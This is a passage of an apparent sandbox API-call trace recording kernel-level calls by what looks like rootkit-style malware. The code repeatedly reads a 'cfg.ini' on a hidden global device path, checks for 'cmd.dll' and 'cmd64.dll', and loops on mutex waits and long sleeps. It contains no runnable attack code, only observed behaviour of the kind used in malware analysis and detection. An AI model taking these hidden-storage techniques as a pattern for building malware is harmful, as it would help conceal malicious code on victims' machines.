MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.928] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.928] IdePortDispatch () returned 0x103 [0122.928] KeWaitForMutexObject () returned 0x0 [0122.928] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.928] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.928] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.929] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.929] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.929] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd1f0 [0122.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.929] KeLeaveCriticalRegion () [0122.929] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.929] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.929] KeEnterCriticalRegion () [0122.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.929] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.929] KeLeaveCriticalRegion () [0122.929] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.929] KeEnterCriticalRegion () [0122.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.929] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.929] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.929] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.929] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.929] IdePortDispatch () returned 0x103 [0122.929] KeWaitForMutexObject () returned 0x0 [0122.929] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.929] KeLeaveCriticalRegion () [0122.929] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.929] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.929] KeEnterCriticalRegion () [0122.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.929] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d7b000 [0122.929] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.929] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.930] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.930] IdePortDispatch () returned 0x103 [0122.930] KeWaitForMutexObject () returned 0x0 [0122.930] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.930] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.930] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.930] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.930] IdePortDispatch () returned 0x103 [0122.930] KeWaitForMutexObject () returned 0x0 [0122.930] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.930] KeLeaveCriticalRegion () [0122.930] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.931] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.931] KeEnterCriticalRegion () [0122.931] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.931] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.931] KeLeaveCriticalRegion () [0122.931] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.931] KeEnterCriticalRegion () [0122.931] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.931] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.931] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038259b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.931] KeLeaveCriticalRegion () [0122.931] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.931] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.931] KeEnterCriticalRegion () [0122.931] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.931] ExFreePoolWithTag (P=0xfffffa8003bbd1f0, Tag=0x0) [0122.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.931] KeLeaveCriticalRegion () [0122.931] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.931] ReleaseMutex (hMutex=0xf0) returned 1 [0122.931] Sleep (dwMilliseconds=0x124f80) [0122.946] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.946] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.946] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.946] KeEnterCriticalRegion () [0122.946] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.946] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.946] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.946] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.946] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.946] IdePortDispatch () returned 0x103 [0122.946] KeWaitForMutexObject () returned 0x0 [0122.946] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.946] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.946] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.946] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.946] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.946] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbd2f0 [0122.946] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.946] KeLeaveCriticalRegion () [0122.946] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.946] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.946] KeEnterCriticalRegion () [0122.946] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.946] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.946] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.947] KeLeaveCriticalRegion () [0122.947] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.947] KeEnterCriticalRegion () [0122.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.947] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.947] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.947] IdePortDispatch () returned 0x103 [0122.947] KeWaitForMutexObject () returned 0x0 [0122.947] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.947] KeLeaveCriticalRegion () [0122.947] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.947] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.947] KeEnterCriticalRegion () [0122.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.947] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d80000 [0122.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.947] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.947] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.947] IdePortDispatch () returned 0x103 [0122.947] KeWaitForMutexObject () returned 0x0 [0122.947] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.947] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.947] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.948] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.948] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.948] IdePortDispatch () returned 0x103 [0122.948] KeWaitForMutexObject () returned 0x0 [0122.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.948] KeLeaveCriticalRegion () [0122.948] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.948] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.948] KeEnterCriticalRegion () [0122.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.948] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.948] KeLeaveCriticalRegion () [0122.948] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.948] KeEnterCriticalRegion () [0122.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.948] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.948] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038259b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.949] KeLeaveCriticalRegion () [0122.949] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.949] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.949] KeEnterCriticalRegion () [0122.949] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.949] ExFreePoolWithTag (P=0xfffffa8003bbd2f0, Tag=0x0) [0122.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.949] KeLeaveCriticalRegion () [0122.949] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.949] ReleaseMutex (hMutex=0xf0) returned 1 [0122.949] Sleep (dwMilliseconds=0x124f80) [0122.962] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.962] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.962] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.963] KeEnterCriticalRegion () [0122.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.963] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.963] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.963] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.963] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.963] IdePortDispatch () returned 0x103 [0122.963] KeWaitForMutexObject () returned 0x0 [0122.963] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.963] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.963] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.963] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.963] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.963] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbec00 [0122.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.963] KeLeaveCriticalRegion () [0122.963] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.963] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.963] KeEnterCriticalRegion () [0122.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.963] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.963] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.963] KeLeaveCriticalRegion () [0122.963] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.963] KeEnterCriticalRegion () [0122.963] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.963] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.963] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.963] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.963] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.963] IdePortDispatch () returned 0x103 [0122.963] KeWaitForMutexObject () returned 0x0 [0122.964] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.964] KeLeaveCriticalRegion () [0122.964] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.964] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.964] KeEnterCriticalRegion () [0122.964] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.964] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d85000 [0122.964] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.964] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.964] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.964] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.964] IdePortDispatch () returned 0x103 [0122.964] KeWaitForMutexObject () returned 0x0 [0122.964] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.964] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.964] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.964] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.964] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0122.964] IdePortDispatch () returned 0x103 [0122.964] KeWaitForMutexObject () returned 0x0 [0122.964] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.964] KeLeaveCriticalRegion () [0122.964] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.965] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.965] KeEnterCriticalRegion () [0122.965] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.965] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.965] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.965] KeLeaveCriticalRegion () [0122.965] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.965] KeEnterCriticalRegion () [0122.965] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.965] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.965] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038259b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.965] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.965] KeLeaveCriticalRegion () [0122.965] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.965] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.965] KeEnterCriticalRegion () [0122.965] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.965] ExFreePoolWithTag (P=0xfffffa8003bbec00, Tag=0x0) [0122.965] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.965] KeLeaveCriticalRegion () [0122.965] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.965] ReleaseMutex (hMutex=0xf0) returned 1 [0122.965] Sleep (dwMilliseconds=0x124f80) [0122.980] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.980] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.980] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.980] KeEnterCriticalRegion () [0122.981] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.981] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.981] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.981] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.981] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0122.981] IdePortDispatch () returned 0x103 [0122.981] KeWaitForMutexObject () returned 0x0 [0122.981] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.981] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.981] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.981] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.981] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.981] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6200 [0122.981] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.981] KeLeaveCriticalRegion () [0122.981] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.981] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.981] KeEnterCriticalRegion () [0122.981] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.981] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.981] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.981] KeLeaveCriticalRegion () [0122.981] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.981] KeEnterCriticalRegion () [0122.981] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.981] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.981] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.981] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.981] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0122.981] IdePortDispatch () returned 0x103 [0122.982] KeWaitForMutexObject () returned 0x0 [0122.982] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.982] ExReleaseFastMutexUnsafe (in: 